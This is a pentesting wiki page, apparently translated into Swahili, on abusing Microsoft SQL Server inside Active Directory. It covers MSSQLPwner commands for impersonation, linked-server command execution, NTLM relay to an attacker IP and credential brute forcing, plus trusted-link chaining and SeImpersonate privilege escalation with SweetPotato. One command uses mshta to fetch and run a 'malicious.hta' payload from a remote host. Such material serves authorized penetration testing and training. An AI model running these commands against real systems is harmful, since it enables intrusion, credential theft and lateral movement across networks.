MSSQL AD Abuse
MSSQL AD Abuse
MSSQL Enumeration / Discovery
Python
Zana ya MSSQLPwner inategemea impacket, na pia inaruhusu kuthibitisha kwa kutumia tiketi za kerberos, na kushambulia kupitia minyororo ya viungo.
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Kuorodhesha kutoka kwenye mtandao bila kikao cha kikoa
Kuorodhesha kutoka ndani ya eneo
MSSQL Msingi wa Kutumia
Upatikanaji wa DB
MSSQL RCE
Inaweza pia kuwa na uwezekano wa kutekeleza amri ndani ya mwenyeji wa MSSQL
Check in the page mentioned in the following section how to do this manually.
MSSQL Basic Hacking Tricks
1433 - Pentesting MSSQL - Microsoft SQL ServerMSSQL Trusted Links
Ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, ataweza kutumia uhusiano wa kuaminiana kutekeleza maswali pia katika mfano mwingine. Hizi zinazoaminika zinaweza kuunganishwa na wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.
Viungo kati ya databases vinafanya kazi hata katika uaminifu wa msitu.
Powershell Abuse
Metasploit
Unaweza kuangalia kwa urahisi viungo vinavyotegemewa kwa kutumia metasploit.
Kumbuka kwamba metasploit itajaribu kutumia tu kazi ya openquery()
katika MSSQL (hivyo, ikiwa huwezi kutekeleza amri na openquery()
, utahitaji kujaribu njia ya EXECUTE
kwa mikono kutekeleza amri, angalia zaidi hapa chini.)
Manual - Openquery()
Kutoka Linux unaweza kupata shell ya MSSQL console kwa kutumia sqsh na mssqlclient.py.
Kutoka Windows pia unaweza kupata viungo na kutekeleza amri kwa mikono ukitumia MSSQL client kama HeidiSQL
Ingia kwa kutumia uthibitisho wa Windows:
Pata Viungo vya Kuaminika
Teua maswali katika kiungo kinachoweza kuaminika
Teua maswali kupitia kiungo (mfano: pata viungo zaidi katika mfano mpya unaopatikana):
Angalia mahali ambapo nukuu mbili na moja zinatumika, ni muhimu kuzitumia hivyo.
Unaweza kuendelea na mnyororo huu wa viungo vilivyoaminika milele kwa mikono.
Ikiwa huwezi kufanya vitendo kama exec xp_cmdshell
kutoka openquery()
, jaribu kutumia njia ya EXECUTE
.
Manual - EXECUTE
Unaweza pia kutumia viungo vya kuaminika kwa kutumia EXECUTE
:
Local Privilege Escalation
Mtumiaji wa MSSQL wa ndani kwa kawaida ana aina maalum ya ruhusa inayoitwa SeImpersonatePrivilege
. Hii inaruhusu akaunti "kujifanya mteja baada ya uthibitisho".
Mkakati ambao waandishi wengi wamekuja nao ni kulazimisha huduma ya SYSTEM kuthibitisha kwa huduma ya uasi au mtu katikati ambayo mshambuliaji anaunda. Huduma hii ya uasi inaweza kujifanya kama huduma ya SYSTEM wakati inajaribu kuthibitisha.
SweetPotato ina mkusanyiko wa mbinu hizi mbalimbali ambazo zinaweza kutekelezwa kupitia amri ya execute-assembly
ya Beacon.
Last updated